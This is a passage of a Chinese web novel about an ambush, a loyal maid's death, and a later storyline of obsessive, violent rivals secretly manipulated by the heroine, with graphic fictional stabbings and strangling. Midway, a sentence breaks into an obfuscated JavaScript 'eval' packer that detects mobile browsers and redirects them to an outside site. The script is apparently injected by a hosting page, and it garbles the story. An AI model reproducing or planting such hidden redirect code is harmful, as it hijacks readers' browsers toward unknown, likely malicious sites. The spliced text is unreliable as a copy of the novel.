虞岁的三个‘是’,击溃了初执最后的犹豫,她的目光中满是坚定。 “你在说什么?”,虞岁很是不明所以。 初执深深的看了一眼萧晚景,随即从袖中取出一柄飞镖,在谁都来不及反应的状态下以迅雷不及掩耳之势快速转身、掷向刚刚走过来的方向……只听扑哧一声,是飞镖投中活物的声音…… 丁年率先反应过来,身手敏捷的将虞岁护在身后。 初执看到这一幕,很是欣慰的笑了:“丁世子,多谢你”……又看向虞岁:“郡主,往后的路,你要好生珍重。” 话音刚落,一柄从暗处射出的箭矢以凌厉的气势破空射中初执的心脏…… 露出的箭头带着乌黑的颜色裹着一点符纸……显然是淬了毒又上了符的…… 初执一下子跪倒在虞岁面前,伸手递给她一个荷包,用尽最后一丝力气断断续续的说:“郡主……快……走……有埋伏……机……关……已经……被催……动”…… 她说完,身体慢慢被腐蚀……魏执予惊呼一声:“是化骨符!” 虞岁立刻上前拿过初执手中的荷包,都没来得及仔细端详初执,她就在她面前化成一滩血水…… 变故发生的太快,甚至没有悲伤的时间……一群蒙面黑衣人迅速涌了出来将几人团团围住…… 虞岁怒目圆睁,喝道:“你们究竟是谁的人?竟敢如此张狂!” 黑衣人中走出一位身形高大之人,声音低沉而沙哑:“要怪就怪你们知道了不该知道的秘密!”,说罢,一众黑衣人纷纷亮出兵器,寒光闪烁。 丁年最先反应过来,剑锋出鞘,招式凌厉。 虞岁也不遑多让,从腰间抽出防身匕首,加入了战斗。 魏执予念动咒语,直奔画符的黑影而去,与之展开了激烈的搏斗。 虞舜则牢牢地守在后方,抽出软剑,防止有人从背后偷袭。 初执的死让几人心里憋了一口恶气……给这场战斗赋上了哀兵必胜的色彩…… 接二连三的战斗让丁年有些力不从心……黑衣人越来越多,且个个武功高强,招式狠辣……几人慢慢占了下风…… 而被催动的机关开始摇晃,接连落下密密麻麻的碎石砸向众人……有黑衣人扭动了船舵样的石像……不远处暗道的出口传来轰隆的巨响…… “阿姐,快走!他们要关死出口的千斤门!”,虞舜刚刚解决了一个黑衣人,将软剑从黑衣人身上拔出,转头呼喊。 “一个都别想走!放迷烟!不留活口!”,为首的黑衣人厉声喝道。 他才刚一说完,丁年手中的长剑如灵蛇一般攀上了他的脖子,“你也配放狠话?!”,他手下发狠,勒的黑衣人再说不出一句话,蹬了蹬腿,没了气息…… 他猩红的眸子扫视了一圈,没了主心骨的黑衣人见她这样,有些露怯,失了主意…… 虞岁扑过去,随手抓过一个黑衣人,恶狠狠的将匕首插进他的胸膛,一下又一下,泄愤般捅了无数下……“说!是不是你放的箭?!” 连中数刀的黑衣人早已没了气息,瘫软在地……虞岁犹嫌不足,又捅了另一个被迷烟呛的有些晕的黑衣人:“是你?是不是你放的箭?!” 她拔出匕首,指着剩下的两个黑衣人,“是你?还是你?说!是谁放的箭!” 黑衣人深知寡不敌众,连忙准备撤退,虞舜和丁年一个用软剑缠住了其中一个的腿……一个用长剑捅穿了另一个人的腰……使劲一拽,两个黑衣人失重倒地…… 虞岁疯了似的扑过去,一人一刀,割断了他们脖颈处的动脉……顿时血流如注…… 做完了这一切,虞岁像在血水里泡过一样……满身满脸满手的血…… 她扔下匕首,呆呆的看着初执消失的位置。 这个荷包,是她第一次学刺绣的时候送给初执的。 都城里的贵女,学会刺绣之后送给手帕交的都是些苍松翠竹或者有寓意的名花异草,再不济也得是飞鸟奇鱼…… 但她送给她的是一条龙……嗯,虽然看起来是一条长了爪子和须子的丑丑的虫子,但她坚称这是龙…… 她知道初执是有一个侠女梦的,渴望锄强扶弱,匡扶正义,偏偏为了自己偏安一隅。 她送她龙,希望她能不被束缚,一飞冲天…… 她手指轻颤,小心翼翼的从荷包中取出初执留给她的最后一份念想……是一封信……轻轻展开,熟悉的字迹映入眼帘: “郡主,见字如晤,展信欢颜。当你看到这封信的时候,我想我已经尽了最后一点愚笨的心思助你达成所愿……我还记得和你相遇那一年,你站在漫山遍野的花丛间,发现了山坡下奄奄一息的我……意识游离间的我,以为遇到了天上的仙子,想着便是死了也不亏……不曾想是上苍垂怜,将你送到我身边,你是我那么多年灰败记忆中唯一一点光芒耀眼…… 最初楚家找到我的时候,我是不屑一顾的,被驱逐丢弃的时候,上天已经为我做了抉择……从你出现在我生命中的那一刻起,我就发誓,我的余生直到尽头都是你,只有你……再不会有人对我像你对我这样好,我也再不会对其他任何人付出真心…… 楚家的目的很明确,要掌控虞家,想来宋帝也想像最初对丁家一样暗暗布局,而我,是他们能想到的小小捷径……后来你说你要请婚护住丁世子,其实你心里跟明镜一样,这条路很难…… 作为最初的四大世家之首,大厦倾颓之后只剩下丁世子一人苟延残喘,并不是宋帝仁德或者想给天下人做做样子,他只是在等丁世子背后的暗卫有所作为和丁家的藏宝图…… 而楚家,他们为宋帝做了太多的腌臢事了……楚家之所以会想起见不得光的我,是觉得从我入手是渗透进虞家很好的切入点……我也是想通了这一点,才一直与他们虚以委蛇……好在我运气好,一次偶然的机会,竟让我听到了楚家那老头和他儿子的对话,我也是惊讶的,谁能想到表面对宋帝唯唯诺诺的楚家,竟然敢在抄捡丁家的时候,偷偷扣下了藏宝图,还瞒的滴水不漏……之所以没有第一时间同你汇报,是我想等确定对话内容真伪之后再做打算…… 这次石像的事,我很抱歉,楚家来人跟着我,我只能在暗中伺机而动……藏宝图的事我悄悄确认过了,确实在楚家,应是在楚溶溶的嫁妆匣子里,这事连楚溶溶本人也是不知情的……当初你捡到我的时候,我已经被喂了药,至多只有几年的活头,每个月都要受焚心之痛……在你身边这几年的时光,本就是我偷来的…… 不要为我难过,我本来也活不了多久了……这是我能为你做的最后一件事,你带着这个消息,好好加以运作利用,一定能得到你想要的,护住你想护的……而我,从始至终想要护住的,唯有一个你……” 提笔相思搁笔叹,离殇怎敌我肠断 ? 虞岁一字一字的仔细看完,早已是泣不成声,又担心泪水打湿了信纸、模糊了字迹,连忙小心的将信放回荷包里,收好。 她竟从未察觉初执的隐忍和痛苦,她可真该死啊! “这个仇,我一定要报!”,虞岁轻声呢喃,语气中尽是咬牙切齿的恨意。 丁年走过去轻轻抱住虞岁,抱住他心头的月亮,似乎要用自己的温度,暖化她心底的彻骨寒意,嗓音低沉而温柔:“初执之事于你而言,如利刃刺心,可前路漫漫,我们得冷静下来,谋划往后的路。” 虞岁的声音有一丝飘忽,自顾自的说着:“我最初来到这里的时候,很是不适应了一段时间,稚嫩的年纪,小小的身体,却有一颗千疮百孔的心和一个腐朽空洞的灵魂……你什么都不记得了……只有我自己还困在那些回忆里……不能自拔……那时候,我宁愿同你一起葬在那段过往里……那是我一生中,最快乐的时光……初执真的陪我走了很远很远的一段路……” 丁年一下一下轻抚她的后背,用他的方式给她力量。 生死之间,很多事情都变得渺小了。 过了很久,虞岁慢慢抬起头,眼中的悲伤渐渐被坚定所取代。 “时不待我,走吧。” 丁年想了又想,终于还是问:“你会怪我么?会后悔么?” 虞岁整理好仪容,仔细的收好荷包,“这是我亲手选的路,无论是风刀霜剑还是荆棘密布,都无怨无悔。” “以后呢?再想起来,会后悔么?” “心中有志情难改,纵历沧桑意未央 。” 暗道中有风吹过她翻飞的衣角,虞岁的身影在幽暗中愈发坚定,每一步都踏得沉稳有力,似要将过往的伤痛与迷茫都踩在脚下。 昏黄的烛火在壁上摇曳,将她的影子拉得很长很长,与这蜿蜒曲折的暗道融为一体。 丁年在她身后轻声说:“虞岁,我怕黑。” 虞岁回头,“丁年,跟紧我,带你去有光的地方。” “真的么?” “我说了,你是我一生一次的认真。你可以反复向我确认。” 10. 虞岁,你知道珊瑚虫么? 在幽邃无垠的海底,珊瑚虫们紧紧相依,构筑起斑斓的珊瑚礁。它们与虫黄藻共生,借阳光的恩泽维系生命。每一缕穿透海水的光,都是它们生存的希望。 一旦失去阳光,珊瑚虫将在黑暗中走向死亡。 ————楔子 “虞岁,你能不能明白我的意思?” 虞岁看着面前眼眶红红的丁年,心底有一丝情愫翻涌又被她压了下去。 她喜欢他全神贯注看着她的样子,这种时候的他最迷人,满眼都写着,求你看我,求你爱我。 细看之下,那温柔背后,还有他在竭力隐藏的让人胆寒的疯狂。 此刻虞岁清醒的认识到自己陷入了一个无法挣脱的深渊,而这个深渊的名字,叫做丁年的爱。 “丁年,我不太想明白,你知道的,现在虞元的情况时好时坏,我没有太多精力分给别的事。” “你是没有精力分给别的事,还是没有精力分给我?” 虞岁没有出声,只是微微蹙眉。 丁年深吸一口气,“虞岁,你别皱眉,我知进退。” 一墙之隔,虞元听到这,慢慢攥紧手指,丁年这个狗东西,明知道姐姐吃这套…… 她揉揉眼睛,装作睡眼惺忪的样子敲了敲门,推开门进去,视线和丁年的视线在半空中碰撞,一个淬了毒,一个藏了刀,空气中炸开的都是火花的味道。 这短暂的目光交锋,仿佛是一场无声的战争,双方都在向对方传达着‘你怎么还不去死’的强烈讯号。 虞岁迎过去关切的问:“怎么这么晚还没睡?手这样凉?怎么不加件衣服?”,边说边摸了摸虞元的手,拿了件毯子给她披上,顺势拢紧。 「你们吵架了么」,虞元用手语问。 虞岁笑了笑,笑的温柔,“没有,怎么会吵架呢?” 她张了张嘴,却只能发出几声含糊不清的气音,像是想极力诉说着什么,却被失语的命运禁锢,最终只能用满是委屈的眼神望向虞岁。 「这些年,哥哥有的,姐姐都没有给过阿元,要是阿元的话,肯定舍不得惹姐姐生气难过,想来哥哥也不会的吧?」,她费力地用手机打出这些字,而后将屏幕转向虞岁,眼眶泛红,泪水在眼眶里打转,却倔强地不肯落下,模样楚楚可怜。 坐在一旁沙发上的丁年,看到这一幕,嘴角勾起一抹嘲讽的冷笑,“别在这装可怜,你心里打的什么算盘,我还不清楚?”,他双腿交叠,手指不耐烦地敲着沙发扶手,眼神中满是对虞元的不屑与警惕。 就这套明褒暗踩的套路虞元玩的驾轻就熟,偏偏虞岁还吃她这套……果然…… 虞岁一个眼神飘过去,丁年还想说什么,瞬间却像是被按下了暂停键。 虞元垂着头,纤长的手指不安地揪着衣角,圆润的指甲都泛了白,指尖在手机键盘上翻飞,「是了,是阿元不配。姐姐不要为我难过。只要姐姐开心,就够了。我只是,偶尔……很偶尔的有点贪心……姐姐的心思能多一点点在我身上就好了。一点点就好……」 虞岁安抚的摸了摸她的头,“什么不配?哪里不配?我家阿元配得上这世间最美好的一切,怎么会不配呢?不许乱想。是不是赵医生的治疗模式不太习惯?” 虞元摇摇头,用手语回答她,「还好,不要担心」。 “你等着,姐姐去给你拿药”,虞岁说完,离开房间。 虞元看着虞岁的背影消失在门口,迟迟没有收回视线,眼底闪烁着病态的痴望,好半晌,轻轻开口:“丁年,你说你怎么还不死呢?”,声音清浅,却透着阴沉的寒意。 在这座被岁月尘封的城市里,虞元就像一颗被命运遗弃的种子,先天失语,被虞家领养,来到了这个陌生的家庭。她的世界,本是无声的寂静,唯有虞岁的出现,如同黑暗中的一抹微光,照亮了她孤独的世界。 丁年窝在沙发里,昏黄的光影投在他脸上,晦暗不明,“不装了?小绿茶。” 虞元收回视线,冷冷的看着他:“什么时候发现的?” 丁年顶了顶腮,“就你上回装病偷偷亲她的时候。” “怎么不拆穿我?” “游戏规则我懂,拆穿你多没意思?虞元,你不要妄想跟我对线了,一点都不要妄想。” 在这座被阴霾笼罩的小城,丁年如同一只被命运抛弃的野狗,在黑暗中独自徘徊。父母的意外离世,让他寄人篱下,直到虞岁的出现,才为他黯淡的世界注入一缕熹光。 虞岁,这个笑起来如暖阳般的女子,轻而易举地走进了丁年的内心,成为他活下去的唯一支柱。 他对虞岁的渴望,就像珊瑚虫对阳光的依赖,没了她,整个世界都将崩塌。 “丁年,我比你先来的,我的名字和虞岁在一个户口本上。” “虞元,是什么给了你一种我脾气很好的错觉?你是不是以为我对谁都像对虞岁?” “疯狗。” “别刺激我”,丁年神色未变,语气中有种平静的疯感,眼底跳跃着嗜血的火苗,死死地盯着虞元,仿佛下一秒就要将她生吞活剥。 “你可得藏好点,我的情况给姐姐知道了是惊喜,你的情况就是惊吓了哦。” 真棒,谁给你的胆子挑衅我呢? 对于丁年来说,虞岁就像阳光,是丁年这条珊瑚虫赖以生存的根本。而虞元,总是妄图分享虞岁的光芒,丁年很不介意让虞元反复知道,觊觎他的‘根本’是什么下场。 丁年先是转了转脖子,低头看了看自己骨节分明的双手,像是在审视一件致命的武器。 就在虞元还沉浸在自己的胜利幻想中时,丁年猝不及防地抓起一旁桌上的咖啡杯,以迅雷不及掩耳之势扔向虞元。 只听“砰”的一声巨响,咖啡杯重重地砸在虞元身后的墙上,瞬间粉身碎骨。 滚烫的咖啡溅得到处都是,有几滴甚至溅到了虞元的脸上,烫得她“嘶”了一声。 但虞元还来不及做出更多反应,丁年一下砸碎了桌上的杯子托盘,如同一头发狂的野兽般朝她扑了过来…… 他一只手死死掐住虞元的脖子,将她整个人提了起来,虞元的双脚离地乱蹬,双手拼命地掰着丁年的手,指甲都抠进了丁年的皮肤里,划出一道道血痕。 可丁年却像感觉不到疼痛一样,手上的力道越来越大。 另一只手攥着杯托的碎片抵住她的脖子,缓缓扎进去…… “你不是很能说么?嗯?继续说!今天我就让你知道,跟我作对是什么体验感!”,丁年语调平稳,但说出来的每一个字却像是从牙缝里挤出来的,透着阴测测的恨意。 虞元的脸涨得通红,呼吸越来越困难,眼神中有几分惧色,更多的是算计。 她从来没有想过,丁年竟然会疯狂到这个地步。就在她以为自己要命丧于此的时候,丁年却突然松开了手,虞元像一滩烂泥般瘫倒在地上,大口大口地喘着粗气。 可丁年并没有就此放过她,他一把揪住虞元的头发,将她的头硬生生地抬起来,让她直视自己那充满杀意的眼睛。“这只是个开始,你最好祈祷自己能撑得住,连同之前那几次,跟你算总账!” 说着,丁年又猛地将虞元的头砸向地面,虞元的额头重重地磕在地板上,发出沉闷的声响,瞬间红肿一片。 此时,门外传来了虞岁的脚步声,虞元听到声音,嘴角勾起一抹诡异的笑,凑到丁年耳边,轻声说道:“姐姐来了,看看你这副狼狈的样子,你猜她会怎么想?” “虞元,你这个假失语应该变成真失语,你等着。” 虞岁拿着药走了进来,察觉到房间里剑拔弩张的气氛,“你们又在闹什么?” 虞元立刻收起了脸上的敌意,换上一副委屈的表情,用手语比划着「没事,姐姐,是我不好」。 虞岁看了看虞元脖子上的血印,又看了看面沉如水脸红脖子粗的丁年,叹了口气,走过去拍了拍他的手,只一个简单的动作,丁年就松开手,碎瓷片在他手里已经割出血痕…… 那殷红的血顺着他的指尖一滴滴落下,在地面晕染开,与空气中弥漫的紧张和压抑交织在一起。 “多大的人了,闹成这样,你怎么不直接吃掉?” 接收到这个指令,丁年直接把碎瓷片放进嘴里。 “开玩笑的,吐出来。” 丁年依言吐掉瓷片。 虞元的视线越过虞岁白了他一眼。 虞岁从药箱里拿出消毒水和纱布,仔细的给虞元清理包扎,丁年见状,握了握受伤的手,冷哼一声走出房间…… 虞元突然扑进虞岁的怀里,下巴抵在她肩膀上,颇有些得色的看了眼丁年。 丁年用受伤的手指了指她,作了个你完了的手势。 “怎么了?很疼么?”,虞岁像哄孩子似的轻轻拍了拍虞元的背。 虞元直起身子,眼泪说来就来,虞岁看着她,像在欣赏一件工艺品。 有的时候真的觉得她的眼泪像是被精心训练过,什么时候流,什么形状流,什么轨迹流,如同算计好了一样。 “阿元,还记得中学的时候你差点被人绑架么?幸好丁年机灵,及时发现通知爸爸,不然后果不堪设想。” 虞元听虞岁提起这事,心里直翻白眼,她怎么会不记得,当初她都反复推演设计好了一切,就等着雇佣兵把丁年绑走,哪知道最后变成自己被绑,丁年毫发无伤。 “还有三年前,我们一起去哀弥山探险,结果你迷了路,最后还是丁年带我找到你,那时候你都昏迷不醒了,再晚去一会就有生命危险。” 这事虞元就更记得了,那天她骗丁年说虞岁遇难,他本来是失魂落魄的闯进了她设好的陷阱地界,结果最后反而变成她被瘴气熏倒…… “所以啊,姐姐希望你跟丁年好好相处,你们都是我最重要的人,哦对了,还有爸爸”,虞岁说完,认真的看着虞元的反应。 虞元抽抽嗒嗒的在手机上打字,「可是姐姐,最重要的人不是只有一个么?」 “可是姐姐身边只有你们三个人啊,哪一个都不会主动舍弃。” 「可是爸爸他……不是好人。」 “诶?怎么会?他只是对姐姐不好,对阿元可以算得上如珠似宝的宠爱了。” 「对姐姐不好就是对阿元不好。那……在姐姐心里,爸爸是排在阿元前面么?」 “也许吧,刚刚说了,你们三个,哪一个我都不会主动舍弃,除非你们先离开我。” 虞元手忙脚乱的打字,「怎么会!我永远不会离开姐姐!那……如果没有爸爸,我是你最重要的人么?」 虞岁笑着摸了摸她的头,“阿元,这个世上没有如果。” 虞元忽然就有些执拗的想要个答案,「如果有呢?」 “如果有如果,阿元当然是姐姐最重要的人。” 「姐姐,你一直是阿元最重要的人。」 “嗯,我知道,明天我要去趟疗养院,你要不要一起去?” 「丁年也去么?」 “他,大概不会去,你知道的,这些年他一直不肯去。” 「那……我也下次再去吧。」 “好,我去看看丁年的情况。” 「姐姐,我晚上可以跟你一起睡么?」 虞岁笑的一脸温柔,“多大的人了,还这么孩子气,好吧,等我回来。” 丁年看到虞岁提着药箱来找他的时候,有些意外,“你怎么知道我在这?” “你有什么事是我不知道的?”,虞岁意有所指的答,顺手按亮地下室的灯。 光影交错中,虞岁摇曳生姿的走过来,丁年有些恍惚,像是怕惊了她一样,轻声问:“虞岁,你知道珊瑚虫么?” “珊瑚虫作为动物,却与虫黄藻达成共生关系。虫黄藻凭借光合作用,为珊瑚虫输送氧气与养分,光合作用的启动离不开阳光,在光照稀缺的深海,珊瑚虫生存的根基被动摇,难以维系生命。” “是啊,珊瑚虫没了阳光就活不了。我也是,没了你,我的世界只剩绝望。所以啊,你这辈子别想离开我,我会把你锁在身边,你只能照亮我。” 还有一句,丁年没有说出口,我像珊瑚虫离不开阳光一样离不开你,谁要是敢靠近你,我就把那人拖进深渊,你只能被我独占,永远别想逃脱。 虞岁没有接话,拉过他血迹斑斑的手,细心的给他上药,丁年像是感觉不到消毒水浇在伤口上的灼刺感,眼睛一瞬不瞬的盯着她…… “丁年,如果没有虞元,你就是我最重要的人,可惜,没有如果。所以,不要争了。” “虞岁,这些年,无数次,我都想把你锁在这个地下室,困在我的世界里,只看得到我。” 虞岁不着痕迹的打量了一圈四下的布置,岔开话题:“我明天要去一趟疗养院,这次你去么?” “我什么时候去过?怎么?虞元要去么?” “她不去。那你乖乖呆在家里,不要去招惹虞元。” 虞岁说完,起身离开,走到门口的时候,丁年飘忽的声音从身后传来:“你是不是从来都没有正视过我的感情?所以总是扯开话题。” 虞岁没有回头,意味深长的说了一句:“丁年,别急,准备时间应该充裕一些。” 夜里,万籁俱寂,唯有窗外偶尔传来的风声,似是在低吟着夜的秘密。 虞元的目光落在虞岁熟睡的侧颜,贪恋的用视线刻画她精致的眉眼,接着小心翼翼的靠近,轻轻倚靠在虞岁的肩上,像是找到了久违的依靠,心中涌起一股难以言喻的安心。 她闭上眼睛静静感受虞岁的呼吸和体温,在心底默默呢喃,「姐姐,除我之外,还有两个人啊……也就是说,我再走两步,就是唯一重要的人了。」 虞岁翻了个身,窗外透进来的月光爬上她的唇角,勾勒出一弯浅笑。 丁年靠在窗外墙角,爱怜的抚摸着地上投射出的虞岁的残影,虞岁,你的出现,让我觉得,好想爱这个世界啊。 隔天,虞岁站在疗养院的高级病房里,打量着床上苍老的身影,在心里想:人在什么时候能放下对另一个人的仇恨呢? 她想了半天,直到床上的人睁开眼,她的目光和他的目光撞到的那个瞬间,她有了答案:永远不会,非死即伤。 虞定中率先别开了目光,虞岁当然不会放过他,戏谑的开口:“嗨,我的渣爹。” “你来干什么?” “看来我该问问医生,你这个脑功能是不是开始退化了,你的资产大半在我这,我不来,你拿什么支付你这高昂的疗养成本?” 虞定中冷哼,“狼崽子!跟你那个没心肝的妈一样!” 虞岁从包里翻出几张纸,洋洋洒洒的甩到他脸上,淡漠的语气中满是威胁:“不要惹怒我哦,你的心肝可还活着。” 虞定中颤抖着手捡起纸张快速的扫视,半晌,嗫嚅着问:“你到底想怎么样?” 虞岁走过去耐心的调整好他的靠背位置,甚至为他掖了掖被角。 虞定中抓住了她细瘦的手腕,眼神中满是忌惮。 虞岁安抚性的拍了拍他的手,然后抽出自己的手,走到窗边拉开窗帘,指着外面刺眼的阳光幽幽的说:“你这房间,是顶楼,风景好,阳光也好,没有我妈,你能混到现在的身家?你说你个凤凰男,怎么有脸捧起饭碗骂娘呢?” “滚!你给我滚!”,虞定中气的浑身发抖,边吼边按铃。 “别按了,我都打过招呼了,哦对了,我用你的钱给他们又捐了栋楼,这会儿院长正召集所有人开会呢。” 虞定中慢慢平复下来,“虞岁,这么多年了,你什么时候肯放过我?” “我妈跳楼那天你在哪啊?哦,你在陪着你那个秘书,说起来,她现在过的跟你比也不遑多让,区别就是,你躺着花钱,她躺着赚钱。” “当年的事,是我的错……” 虞岁才不给他煽情的机会,“停,再说就不礼貌了。这人啊,不是因为善良才有钱,是因为有钱才善良。同样的,不会因为善良就长命,都是因为有钱才长命。你看,虽然我妈上社会新闻,你上救护车,但你起码还活着不是?” “我这样活着,还不如去死,说真的,虞岁,如果我死了你能放过活着的人,也不是不可以。” “不可以哦,你一定要长命百岁,罪没受够呢,死什么?” “那孩子还好么?” “好得很,很爱我,比你这个当爹的还爱我。” 虞定中闭了闭眼,长叹一声,“都是孽啊!” 虞岁看了眼腕表,“时间差不多了,我要回家看戏了”,走到门口,想起了什么似的又说了一句:“很快,你就能看到你惦记的孩子了。希望到时候你能承受住惊喜。” “虞岁,你会有报应的”,虞定中的声音被虞岁的关门声隔绝在房间里。 报应?报应没见过我心头的大山,哪有资格评价我为何这般? 今天的阳光可真好啊,好戏要开场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033543|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 虞岁走进书房,打开电脑,一顿操作之后,屏幕上出现了虞元和丁年的身影……还好,赶上了……她戴上耳机,玩味的欣赏着屏幕上出现的画面…… 虞元正在跟丁年对线,声音没有太大的起伏,表情却有几分歇斯底里:“丁年,你刚刚说的没错,你有的,她从来没给过我,我不配,没关系,她开心就好了,我只要她开心。你是不是很得意啊?这些年,她对你这么好,凭什么呢?分明是我先遇见她的,你凭什么分走她的爱!凭什么!你没出现她就会一直是我的,一直!你也不过是觊觎她的阴沟老鼠罢了,凭什么让她为你驻足?我们都一样,都是等待她垂怜的可怜虫而已!” 丁年的身影隐在暗处,“你是破防的可怜虫,我不是,我是阳光会照到我的珊瑚虫。” “丁年,不要跟我讲救赎,你离虞岁远一点,就是对我的救赎。” 虞元说完,从袖子里抽出一把手术刀,刀刃在昏暗的光线下闪烁着森冷的光,那寒光像是直接刺进了丁年的眼底。 “怎么,想用这玩意儿威胁我?”丁年从阴影中走出了些许,半边脸被微弱的光线勾勒,眼神里满是戏谑,“这种小儿科的把戏你倒是玩不够。” 虞元紧握着手术刀,指节因为用力而泛白,“怎么会?我怕你不死,要上双重保险”,说着,干脆利落的踢翻脚边的汽油桶,话语中带着不容置疑的决绝。 丁年轻轻笑了笑,笑声在狭小的空间里回荡,透着一丝凉意,“双重保险?你以为我怕?倒是你,拿着这把刀,是想杀了我,还是壮胆?”,他又向前迈了一步,挑衅的意味愈发浓烈。 虞元见状,眼神中闪过一丝狠厉,手中的手术刀微微晃动,划出一道危险的弧度:“丁年,我不想跟死人争辩”,她掏出打火机,拇指轻轻摩挲着滚轮,发出‘沙沙’的声响,那声音仿佛倒计时的钟声,一下下撞击着丁年的耳膜。 丁年不再废话,眼中凶光一闪,如饿狼扑食般朝着虞元猛冲过去,带起一阵凌厉的劲风。 虞元见状,瞳孔骤缩,手中手术刀下意识地胡乱挥舞。激烈的扭打间,虞元一个踉跄,手中的手术刀顺势狠狠划向丁年胳膊,刀刃几乎没入一半,刹那间,鲜血喷涌而出,溅洒在昏暗的地面上,殷红一片。 “淦!”丁年咬牙切齿,脸上肌肉因剧痛扭曲,可这伤痛不仅没让他退缩,反而彻底激发了他骨子里的狠劲。 他红着眼,不顾鲜血汩汩直流,用尽全力一把攥住虞元的手腕,十指如钢钳般死死扣住,指甲都嵌入了虞元的肉里。 虞元也不甘示弱,用尽全身力气,猛地抬腿,膝盖重重顶向丁年的腹部,“放开我,你这条疯狗!” 丁年放开手,轻巧的躲开,眼中闪过一道杀意,他猛地拔出手术刀,反手扎进虞元的膝盖…… 虞元疼得冷汗直冒,手中的火机冒着蓝色的幽光直直坠落…… 丁年一个迅捷的滚翻,堪堪接住了差一点就要掉落在满地流淌着的汽油上的打火机。 虞元趁他不察,拔出膝盖上的手术刀,狠狠的插进丁年的手背里…… 啪啪啪,虞岁摘掉耳机,隔着屏幕都忍不住给他俩鼓掌,真是精彩啊,好了,够了,可以了,再闹下去,出了人命就没意思了。 一地的狼藉,一个膝盖受伤冷汗涔涔的虞元,一个肩膀和手掌受伤红温状态的丁年…… 虞岁施施然的走到他们两个中间,找了个沙发坐下,“怎么样,分出胜负了么?” 丁年笑了,笑容干净的如同稚子,“我比她多一刀,我赢了。” 虞元虚弱的笑笑,用手语比划着,「我没事,我赢了。」 “宝贝,还装呢?没玩够?”,虞岁俯身温柔的看着虞元。 虞元愣了愣,随即有些慌乱,嘴唇颤抖着说:“姐…姐姐……你?都知道?” 虞岁怜爱的摸了摸她苍白的脸,毫无征兆的就是一巴掌,直打得虞元的头歪了下,被打得那侧脸直接肿了…… 但是虞岁表情未变,神色缱绻,语气也没有什么起伏,就像是在谈论天气一样,“我远比你以为我知道的,还要知道的多很多呢,不如你反过来问问我?” “姐姐,我是哪里做错了、让你不开心了么?” 虞岁认真的想了一下,轻声细语的开始往虞元的心上插刀子:“准确的说,你的出生,就是一个错误,就是我不开心的源头。” 虞元捂着脸难以置信的看向虞岁,她心上生生不息的光,如今灼的她心尖发烫……“我最亲爱的姐姐你在说什么啊?” 丁年嗤笑一声,“她说她厌恶你啊,可怜虫。你看,我赢了。” “闭嘴!你闭嘴!”,虞元发泄般的把手边的东西砸向丁年。 丁年偏头躲过去,在接收到虞岁的眼神示意之后,乖乖的坐到虞岁脚边。 虞岁知道,她只要主动一点点,就是钓系个中翘楚,她只要释放一点信号,丁年和虞元就是她的提线木偶。 “虞元,你不是虞定中领养的,从生物学来讲,他就是你的亲生父亲。你和你的渣爹,就是害死我母亲的凶手,你的生日,是我母亲的祭日,你说,我该不该厌恶你?” 每个字音虞元都能听懂,但是连起来的意思,虞元不明白,良久,她明白一个道理,一个最简单的道理:她虞元,是她最爱的虞岁最厌恶的人。或许厌恶并不准确,应该是憎恶,厌憎。 “可是姐姐啊,这不是我选的,在今天之前,我甚至都不知道我的亲生父母是谁啊!” 虞岁深以为然的点点头,“你说的对,所以我让你活着啊,活的好好的,我甚至精心照顾你。” “姐姐,你倒不如惩罚我了,惩罚我我都认了!” 虞岁笑了,还是如同暖阳驱散阴霾般的笑,说出来的话却没有任何温度:“惩罚你做什么?像玩狗一样玩你多有意思。” 丁年突然出声:“所以你之前对我忽冷忽热的态度,是因为不确定我是不是也是虞定中的风流债么?” “阿元,瞧瞧你丁年哥哥,姐姐同样调教你们两个,怎么差距这么大呢。” 到此刻,丁年和虞元终于明白一个道理,即便虞元是阴湿绿茶,丁年是纯黑疯狗,都不过是虞岁的提线木偶。 虞岁其实是隐藏在背后的提线者,是隐藏最深的那个人。她享受这种感觉,掌控一切的感觉。她冷眼旁观一切,肆意玩弄人心,肆意践踏爱意。 多明媚的笑,多美的一张脸,多狠的一颗心!不,她根本就没有心。 但是谁能不爱虞岁呢?即便是深渊,也甘心情愿沉沦。 虞元缓缓的笑了,从无声到有声,笑到掉下泪来,“姐姐,阿元只想问一句,你爱过我么?” 这种问题的答案虞岁信手拈来,“爱啊,姐姐最爱你了。” “姐姐,谢谢你还肯骗一骗我。我知道,这何尝不是一种爱呢?” “阿元愈发懂事了,等会让司机送你去疗养院陪爸爸。” “姐姐你要赶我走?” “是送你去重要的人身边。” “如果这是姐姐想要的,阿元听话,姐姐会开心么?” “姐姐当然开心,阿元知道怎么让姐姐更开心么?” 电光火石间,虞元猛的想通了,原来,这些都是虞岁算好了的,如果丁年也是孽债,就让她和他自相残杀;如果只有她是,就送她去消业。 左右虞元本来想的就是做虞岁身边唯一重要的那个人,现在不过是按计划行事。 丁年折磨虞元,虞元折磨丁年,虞岁在无形中影响两个人,如今该把这把磨好的刀扎到虞定中身上了。 杀人有什么意思,攻心啊,生不如死。 “我明白了姐姐,我会顺从我最初的想法去做,你开心我就开心。” 虞岁和丁年站在楼上的窗边俯视虞元的身影渐行渐远,在上车之前,她回头看了虞岁一眼,虞岁还是像曾经无数次一样温柔的朝她挥了挥手,仿佛所有的丑陋都没有发生过一样。 “虞岁,我没有她那么贪心,我只愿在你身边做个哨兵就好。” “丁年,发现你是条哨向疯狗的我真是个天才,别跑啊,我真想给你套上项圈。” “我怎么会跑?我说过的,离开你我根本活不了。” 虞岁拉着他一路走到地下室,“眼熟么丁年?我上次来的时候就想了,你这东西不全啊,这怎么行呢,氛围上不去……瞧瞧,喜欢么?” “喜欢,要试试么?” 11. 虞岁丁年,孤勇追光者 岁月冗长,在自我的旷野里,做自己的月光,温柔且明亮,用自爱照亮生命的每寸土壤。 我叫虞岁,我要爱上一个人。 他叫丁年。 年年有虞的年,岁岁同舟的岁。 黑了心肝的作者给虞岁的人设是攻略自己内心深处的星座;攻略六年前的自己。 